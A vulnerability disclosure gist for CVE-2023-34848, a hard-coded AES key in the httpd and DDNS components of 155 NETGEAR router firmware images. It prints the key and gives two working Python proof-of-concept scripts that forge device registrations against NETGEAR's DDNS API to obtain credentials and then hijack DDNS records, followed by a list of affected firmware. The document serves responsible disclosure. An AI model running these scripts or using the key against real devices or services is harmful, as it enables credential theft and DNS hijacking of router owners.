Skip to content

Instantly share code, notes, and snippets.

@Ji4n1ng
Last active August 12, 2023 13:45
Show Gist options
  • Save Ji4n1ng/8e81727a3bee98fda18072ffe62377fe to your computer and use it in GitHub Desktop.
Save Ji4n1ng/8e81727a3bee98fda18072ffe62377fe to your computer and use it in GitHub Desktop.
NETGEAR-hard-coded-cryptographic-key-vulnerability

CVE-2023-34848 Hard-coded cryptographic key vulnerability affecting 155 firmware images

Vulnerability type: CWE-321 - Use of Hard-coded Cryptographic Key

Product:

This vulnerability affects 155 firmware images from NETGEAR. The list of affected products is available at the end of this document.

Note that this vulnerability has been confirmed by NETGEAR.

Vulnerability description

During our recent study on cryptographic misuse, we discovered a vulnerability related to the usage of hard-coded encryption keys in firmware images of NETGEAR. This vulnerability allows attackers to decrypt intercepted data packets and gain access to sensitive information. The compromised data includes the user's registered email and password, the MAC and serial number of the device, and can even lead to DDNS hijacking. It's important to note that this vulnerability is present in a fundamental component of NETGEAR, specifically the Apache HTTP server program. As a result, it impacts a total of 155 distinct firmware images of NETGEAR.

In the httpd file, there is a function called sub_2BA84() that handles the registration and login process for DDNS. Unfortunately, within this function, an attacker can directly access the hard-coded encryption key. The specific key is represented as NETGEAR-rbu\x1F\x01\x04\x00\x08\x09\x00\x07\xCE\x80\x00\x00\x00+\x88b&P)A\xA5, as shown below.

encrypt_use_const_key

const_key

Upon intercepting the data packet during a user's registration or login to the DDNS server, the attacker gains access to the plain text initialization vector (IV) within the packet, as depicted in the image below.

http_data_flow

The image below shows the construction of the data packet.

constrcut_content

With these two parameters (the encryption key and IV), the attacker can decrypt the data packet that is encrypted using the AES algorithm. This decrypted packet contains sensitive user information, including the user's DDNS email account, password, host name information, device model, firmware version, MAC address, and serial number. As a result, the attacker obtains the user's private and personal data.

user_info

Furthermore, the attacker can masquerade as the affected device and establish communication with the DDNS server, allowing them to obtain the necessary ID and key required for communication with the DDNS server.

fake_log_in

Subsequently, the attacker can manipulate the DDNS and carry out DDNS hijacking, as illustrated below.

ddns_update

result

POC

Script for obtaining ID and key

#!/usr/bin/python

import sys
import argparse

from Crypto.Cipher import AES
from hashlib import sha1
import base64
import hmac

from urllib import request
from urllib.error import HTTPError
import ast

def read_file(file):
    fd = open(file, "rb+")
    _data = fd.read()
    fd.close()
    return _data

def save_data(file, data):
    fd = open(file, "wb+")
    fd.write(data)
    fd.close()

def encrypt_AES(data, key, iv):
    if len(data)%16:
        _len = len(data) + 16 - len(data)%16
        pad = '\x00'
        data = data.ljust(_len, pad.encode())
    _aes = AES.new(key, AES.MODE_CBC, iv)
    return _aes.encrypt(data)

def decrypt_AES(data, key, iv):
    _aes = AES.new(key, AES.MODE_CBC, iv)
    return _aes.decrypt(data)

def Str2Dict(_str):
    _dict = ast.literal_eval(_str)
    return _dict

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-should_exist", default=1)
    parser.add_argument("-hostname")
    parser.add_argument("-email")
    parser.add_argument("-password")
    parser.add_argument("-mac")
    parser.add_argument("-firmware")
    parser.add_argument("-serial")
    parser.add_argument("-model")
    parser.add_argument("-iv", default="iv")
    parser.add_argument("-key", default="key")

    args = parser.parse_args()

    provider = "NETGEAR"
    if args.iv:
        iv = read_file(args.iv)
    if args.key:
        key = read_file(args.key)

    info = f"provider={provider}&should_exist={args.should_exist}&hostname={args.hostname}&email={args.email}&password={args.password}&mac={args.mac}&firmware={args.firmware}&serial={args.serial}&model={args.model}"
    cipher = encrypt_AES(info.encode(), key, iv)
    content = iv + cipher
    plain = f"POST\n/oem/user_accounts\n".encode() + content
    h = hmac.new(key, plain, digestmod="SHA1")
    auth = "NETGEAR:".encode() + h.digest()

    _headers = {}
    _headers["Accept"] = "text/xml"
    _headers["Accept-Charset"] = "charset=iso-8859-1"
    _headers["Authorization"] = "Basic " + base64.b64encode(auth).decode()
    _headers["Host"] = "netgear.api.oemdns.com"
    _headers["User-Agent"] = "NETGEAR/2.0.9 R7000P/V1.3.0.20"
    _headers["Content-Length"] = 208
    _headers["Content-type"] = "application/x-www-form-urlencoded"

    _data = content

    req = request.Request("http://netgear.api.oemdns.com/oem/user_accounts")
    for tmp in _headers:
        req.add_header(tmp, _headers[tmp])
    try:
        with request.urlopen(req, data=_data) as fd:
            print("Status:", fd.status, fd.reason)
            for k, v in fd.getheaders():
                print("%s: %s" % (k, v))
            _data = fd.read().decode()
    except HTTPError:
        print("Log in Fail!")
        sys.exit()

    _data = Str2Dict(_data)
    for tmp in _data:
        print("  " + tmp + ": " + str(_data[tmp]))
    if int(_data["http_code"]) == 201:
        _data = _data["data"]
        _data = base64.b64decode(_data)
        _data = decrypt_AES(_data, key, iv)
        _data = Str2Dict(_data[16:-3].decode())
        _id = _data["id"]
        _key = _data["key"]

    save_data("client_id", _id.encode())
    save_data("client_key", _key.encode())
    print("client_id:" + _id)
    print("client_key:" + _key)

Script for DDNS hijacking

#!/usr/bin/python
import argparse
import ast

import base64
from hashlib import sha1
import hmac

from urllib import request

def read_file(file):
    fd = open(file, "rb+")
    _data = fd.read()
    fd.close()
    return _data

def Str2Dict(_str):
    _dict = ast.literal_eval(_str)
    return _dict

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-ip")
    parser.add_argument("-id", default="client_id")
    parser.add_argument("-key", default="client_key")

    args = parser.parse_args()

    if args.id:
        id = read_file(args.id)
    if args.key:
        key = read_file(args.key)

    key = read_file(args.key)
    _content = "ip=" + args.ip
    _sha1 = hmac.new(key, _content.encode(), digestmod="sha1").digest().lower()
    auth = id + b":" + _sha1
    auth = base64.b64encode(auth).decode()

    _headers = {}
    _headers["Authorization"] = "Basic " + auth
    _headers["Host"] = "netgear.api.oemdns.com"
    _headers["User-Agent"] = "NETGEAR/2.0.9 R7000P/V1.3.0.20"
    _headers["Content-Length"] = len(_content)
    _headers["Content-Type"] = "application/x-www-form-urlencoded"

    req = request.Request("http://netgear.api.oemdns.com/oem/update")

    for tmp in _headers:
        req.add_header(tmp, _headers[tmp])

    _content = _content.encode()
    with request.urlopen(req, data=_content) as fd:
        print("Status:", fd.status, fd.reason)
        for k, v in fd.getheaders():
            print("%s: %s" % (k, v))
        _data = fd.read().decode()

    _data = Str2Dict(_data)
    for tmp in _data:
        print("  " + tmp + ": " + str(_data[tmp]))

Affected products

Summary:

Model Firmware Version Affected Component
R6200v2 v1.0.3.12_10.1.11 below httpd
R6250 v1.0.4.8_10.1.13 below httpd
R6400 v1.0.1.6_1.0.4 below httpd
R6400v2 v1.0.4.84_10.0.58 below httpd
R6700 v1.0.0.26_10.0.26 below httpd
R6900 v1.0.1.48_10.0.30 below httpd
R7000 v1.0.9.88_10.2.88 below httpd
R7000P v1.3.1.26_10.1.3 below httpd
R8000 v1.0.4.8_1.1.44 below httpd
R8500 v1.0.2.94_1.0.79 below httpd
WNR1000v3 v1.0.2.68_60.0.93 below httpd
WNR3500Lv2 v1.2.0.28_40.0.72 below httpd
WNDR4500v2 v1.0.0.62_1.0.39 below httpd
R6220 v1.1.0.68_1.0.1 below Netgear_ddns
R6800 v1.2.0.40_1.0.1 below Netgear_ddns
R6850 v1.1.0.54_1.0.1 below Netgear_ddns
WAC104 v1.0.4.1 below Netgear_ddns

Full list:

  • NETGEAR - R7000-V1.0.7.12_1.2.5.chk - httpd
  • NETGEAR - R6700-V1.0.0.24_10.0.18.chk - httpd
  • NETGEAR - R6400-V1.0.1.26_1.0.19.chk - httpd
  • NETGEAR - R8000-V1.0.1.16_1.0.74.chk - httpd
  • NETGEAR - R6900-V1.0.0.4_1.0.10.chk - httpd
  • NETGEAR - WNDR4500v2-V1.0.0.62_1.0.39.chk - httpd
  • NETGEAR - R6400-V1.0.1.18_1.0.15.chk - httpd
  • NETGEAR - R7000P-V1.0.1.14_1.0.59.chk - httpd
  • NETGEAR - R8500-V1.0.0.42_1.0.23.chk - httpd
  • NETGEAR - R6900-V1.0.0.2_1.0.2.chk - httpd
  • NETGEAR - R6800-V1.1.0.34_1.0.1.img - Netgear_ddns
  • NETGEAR - R7000-V1.0.4.28_1.1.64.chk - httpd
  • NETGEAR - R6250-V1.0.4.20_10.1.20.chk - httpd
  • NETGEAR - WNR3500Lv2-V1.2.0.28_40.0.72.chk - httpd
  • NETGEAR - R6250_V1.0.4.34_10.1.28.chk - httpd
  • NETGEAR - R7000-V1.0.3.68_1.1.31.chk - httpd
  • NETGEAR - R7000-V1.0.9.14_1.2.25.chk - httpd
  • NETGEAR - R7000P-V1.0.0.46_1.0.30.chk - httpd
  • NETGEAR - R7000-V1.0.2.200_1.0.18PRRU.chk - httpd
  • NETGEAR - R8500-V1.0.2.54_1.0.56.chk - httpd
  • NETGEAR - R8500-V1.0.2.64_1.0.62.chk - httpd
  • NETGEAR - R6400-V1.0.1.20_1.0.16.chk - httpd
  • NETGEAR - R6220-V1.1.0.66_1.0.1.img - Netgear_ddns
  • NETGEAR - R6400v2-V1.0.2.50_1.0.38.chk - httpd
  • NETGEAR - R6250-V1.0.4.12_10.1.15.chk - httpd
  • NETGEAR - R6900-V1.0.1.46_10.0.29.chk - httpd
  • NETGEAR - R6900-V1.0.1.22_1.0.18.chk - httpd
  • NETGEAR - R7000-V1.0.4.30_1.1.67.chk - httpd
  • NETGEAR - R6400-V1.0.1.32_1.0.23.chk - httpd
  • NETGEAR - R7000-V1.0.7.10_1.2.3.chk - httpd
  • NETGEAR - R6400v2-V1.0.2.34_1.0.22.chk - httpd
  • NETGEAR - R6850_V1.1.0.22_1.0.1.img - Netgear_ddns
  • NETGEAR - R8500-V1.0.2.106_1.0.85.chk - httpd
  • NETGEAR - R7000-V1.0.9.34_10.2.36.chk - httpd
  • NETGEAR - R8000-V1.0.0.110_1.0.70.chk - httpd
  • NETGEAR - R8000-V1.0.3.48_1.1.33.chk - httpd
  • NETGEAR - R6800_V1.1.0.24_1.0.1.img - Netgear_ddns
  • NETGEAR - R6400-V1.0.0.26_1.0.14.chk - httpd
  • NETGEAR - R7000_V1.0.3.28_1.1.22PRRU.chk - httpd
  • NETGEAR - R8000-V1.0.4.8_1.1.44.chk - httpd
  • NETGEAR - R8500-V1.0.2.128_1.0.97.chk - httpd
  • NETGEAR - R8000-V1.0.4.2_1.1.41.chk - httpd
  • NETGEAR - WAC104_V1.0.4.1.img - Netgear_ddns
  • NETGEAR - R6850_V1.1.0.34_1.0.1.img - Netgear_ddns
  • NETGEAR - R8000-V1.0.0.90_1.0.39.chk - httpd
  • NETGEAR - R6850_V1.1.0.38_1.0.1.img - Netgear_ddns
  • NETGEAR - R8000-V1.0.3.4_1.1.2.chk - httpd
  • NETGEAR - R6400-V1.0.0.24_1.0.13.chk - httpd
  • NETGEAR - R8000-V1.0.2.44_1.0.96.chk - httpd
  • NETGEAR - R6400-V1.0.1.6_1.0.4.chk - httpd
  • NETGEAR - R8000-V1.0.0.76_1.0.32.chk - httpd
  • NETGEAR - R7000P-V1.0.0.50_1.0.35.chk - httpd
  • NETGEAR - R8500-V1.0.2.86_1.0.75.chk - httpd
  • NETGEAR - R8500-V1.0.2.26_1.0.41.chk - httpd
  • NETGEAR - R8000-V1.0.4.28_10.1.54.chk - httpd
  • NETGEAR - R8000-V1.0.3.46_1.1.32.chk - httpd
  • NETGEAR - R6220_V1.1.0.50_1.0.1.img - Netgear_ddns
  • NETGEAR - R7000P-V1.0.0.44_1.0.27.chk - httpd
  • NETGEAR - R6400-V1.0.1.24_1.0.18.chk - httpd
  • NETGEAR - R6250-V1.0.4.8_10.1.13.chk - httpd
  • NETGEAR - R8000-V1.0.3.26_1.1.18.chk - httpd
  • NETGEAR - R6800-V1.1.0.42_1.0.1.img - Netgear_ddns
  • NETGEAR - R6250-V1.0.4.6_10.1.12.chk - httpd
  • NETGEAR - R7000-V1.0.9.26_10.2.31.chk - httpd
  • NETGEAR - R6900-V1.0.1.14_1.0.14.chk - httpd
  • NETGEAR - R8500-V1.0.0.56_1.0.28.chk - httpd
  • NETGEAR - R6850-V1.1.0.40_1.0.1.img - Netgear_ddns
  • NETGEAR - R8000-V1.0.3.36_1.1.25.chk - httpd
  • NETGEAR - R7000P-V1.3.1.26_10.1.3.chk - httpd
  • NETGEAR - R6220_1.1.0.31_1.0.1.img - Netgear_ddns
  • NETGEAR - R7000-V1.0.9.12_1.2.23.chk - httpd
  • NETGEAR - R7000-V1.0.4.18_1.1.52.chk - httpd
  • NETGEAR - R7000-V1.0.3.60_1.1.27.chk - httpd
  • NETGEAR - R6400-V1.0.1.36_1.0.25.chk - httpd
  • NETGEAR - R6900-V1.0.1.20_1.0.17.chk - httpd
  • NETGEAR - R7000-V1.0.3.80_1.1.38.chk - httpd
  • NETGEAR - R6850-V1.1.0.42_1.0.1.img - Netgear_ddns
  • NETGEAR - R6850-V1.1.0.54_1.0.1.img - Netgear_ddns
  • NETGEAR - R6400v2-V1.0.2.62_10.0.46.chk - httpd
  • NETGEAR - R8500-V1.0.2.100_1.0.82.chk - httpd
  • NETGEAR - R7000-V1.0.9.28_10.2.32.chk - httpd
  • NETGEAR - R7000-V1.0.9.88_10.2.88.chk - httpd
  • NETGEAR - R8000-V1.0.3.32_1.1.21.chk - httpd
  • NETGEAR - R6220-V1.1.0.60_1.0.1.img - Netgear_ddns
  • NETGEAR - R6220_V1.0.0.17_1.0.1_FW.img - Netgear_ddns
  • NETGEAR - WNR1000v3-V1.0.2.68_60.0.93.chk - httpd
  • NETGEAR - R6800-V1.1.0.32_1.0.1.img - Netgear_ddns
  • NETGEAR - R8000-V1.0.0.102_1.0.45.chk - httpd
  • NETGEAR - R6250-V1.0.3.12_10.1.8.chk - httpd
  • NETGEAR - R6400v2-V1.0.4.84_10.0.58.chk - httpd
  • NETGEAR - R8500-V1.0.2.80_1.0.71.chk - httpd
  • NETGEAR - R6250-V1.0.4.26_10.1.23.chk - httpd
  • NETGEAR - R6250-V1.0.4.2_10.1.10.chk - httpd
  • NETGEAR - R8500-V1.0.2.122_1.0.94.chk - httpd
  • NETGEAR - R6400v2-V1.0.2.46_1.0.36.chk - httpd
  • NETGEAR - WNDR4500v2-V1.0.0.56_1.0.36.chk - httpd
  • NETGEAR - R7000-V1.0.3.56_1.1.25.chk - httpd
  • NETGEAR - R7000P-V1.3.0.20_10.1.1.chk - httpd
  • NETGEAR - R6900-V1.0.1.48_10.0.30.chk - httpd
  • NETGEAR - R6800-V1.2.0.16_1.0.1.img - Netgear_ddns
  • NETGEAR - R7000-V1.0.9.18_1.2.27.chk - httpd
  • NETGEAR - R6400-V1.0.1.34_1.0.24.chk - httpd
  • NETGEAR - R6400-V1.0.0.20_1.0.11.chk - httpd
  • NETGEAR - R6400-V1.0.1.22_1.0.17.chk - httpd
  • NETGEAR - R7000-V1.0.5.64_1.1.88.chk - httpd
  • NETGEAR - R7000-V1.0.3.24_1.1.20.chk - httpd
  • NETGEAR - R6220-V1.1.0.68_1.0.1.img - Netgear_ddns
  • NETGEAR - R7000P-V1.3.0.8_1.0.93.chk - httpd
  • NETGEAR - R6400v2-V1.0.2.52_1.0.39.chk - httpd
  • NETGEAR - R8500-V1.0.0.52_1.0.26.chk - httpd
  • NETGEAR - R6220_V1.1.0.34_1.0.1.img - Netgear_ddns
  • NETGEAR - R6220_V1.0.0.16_1.0.1_FW.img - Netgear_ddns
  • NETGEAR - R6800-V1.2.0.12_1.0.1.img - Netgear_ddns
  • NETGEAR - R7000P-V1.0.0.56_1.0.45.chk - httpd
  • NETGEAR - R8500-V1.0.2.116_1.0.90.chk - httpd
  • NETGEAR - R6250-V1.0.3.6_10.1.3.chk - httpd
  • NETGEAR - R7000-V1.0.9.10_1.2.21.chk - httpd
  • NETGEAR - R6900-V1.0.1.16_1.0.15.chk - httpd
  • NETGEAR - R8000-V1.0.3.54_1.1.37.chk - httpd
  • NETGEAR - R6800-V1.2.0.4_1.0.2.img - Netgear_ddns
  • NETGEAR - V1.0.9.21_20171227_android.chk - httpd
  • NETGEAR - R7000P-V1.2.0.22_1.0.78.chk - httpd
  • NETGEAR - R6900-V1.0.1.28_1.0.21.chk - httpd
  • NETGEAR - R6700-V1.0.0.2_1.0.1.chk - httpd
  • NETGEAR - R6800-V1.2.0.40_1.0.1.img - Netgear_ddns
  • NETGEAR - R6800-V1.2.0.14_1.0.1.img - Netgear_ddns
  • NETGEAR - R7000P-V1.0.0.58_1.0.50.chk - httpd
  • NETGEAR - R6220_V1.1.0.42_1.0.1.img - Netgear_ddns
  • NETGEAR - R8000-V1.0.0.68_1.0.27.chk - httpd
  • NETGEAR - R6250-V1.0.4.16_10.1.18.chk - httpd
  • NETGEAR - R6800-V1.1.0.38_1.0.1.img - Netgear_ddns
  • NETGEAR - R8500-V1.0.0.28_1.0.15.chk - httpd
  • NETGEAR - R7000-V1.0.9.6_1.2.19.chk - httpd
  • NETGEAR - R7000-V1.0.9.32_10.2.34.chk - httpd
  • NETGEAR - R6700-V1.0.0.26_10.0.26.chk - httpd
  • NETGEAR - R6800-1.2.0.24_1.0.1.img - Netgear_ddns
  • NETGEAR - R8500-V1.0.2.94_1.0.79.chk - httpd
  • NETGEAR - R7000-V1.0.9.42_10.2.44.chk - httpd
  • NETGEAR - R7000-V1.0.7.6_1.1.99.chk - httpd
  • NETGEAR - R8000-V1.0.4.12_10.1.46.chk - httpd
  • NETGEAR - R6400-V1.0.1.42_1.0.28.chk - httpd
  • NETGEAR - R6900-V1.0.1.34_1.0.24.chk - httpd
  • NETGEAR - R7000-V1.0.7.2_1.1.93.chk - httpd
  • NETGEAR - R7000-V1.0.5.70_1.1.91.chk - httpd
  • NETGEAR - R6900-V1.0.1.26_1.0.20.chk - httpd
  • NETGEAR - R6400v2-V1.0.2.44_1.0.35.chk - httpd
  • NETGEAR - R8000-V1.0.0.74_1.0.31.chk - httpd
  • NETGEAR - R6220_v1014_101.img - Netgear_ddns
  • NETGEAR - R6200v2-V1.0.3.10_10.1.10.chk - httpd
  • NETGEAR - R6200v2-V1.0.3.12_10.1.11.chk - httpd
  • NETGEAR - R6220-V1.1.0.62_1.0.1.img - Netgear_ddns
  • NETGEAR - R8000-V1.0.4.18_10.1.49.chk - httpd
  • NETGEAR - R6400-V1.0.1.12_1.0.11.chk - httpd
  • NETGEAR - R7000-V1.0.9.106_10.2.61.chk - httpd
  • NETGEAR - R6400-V1.0.0.14_1.0.8.chk - httpd
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment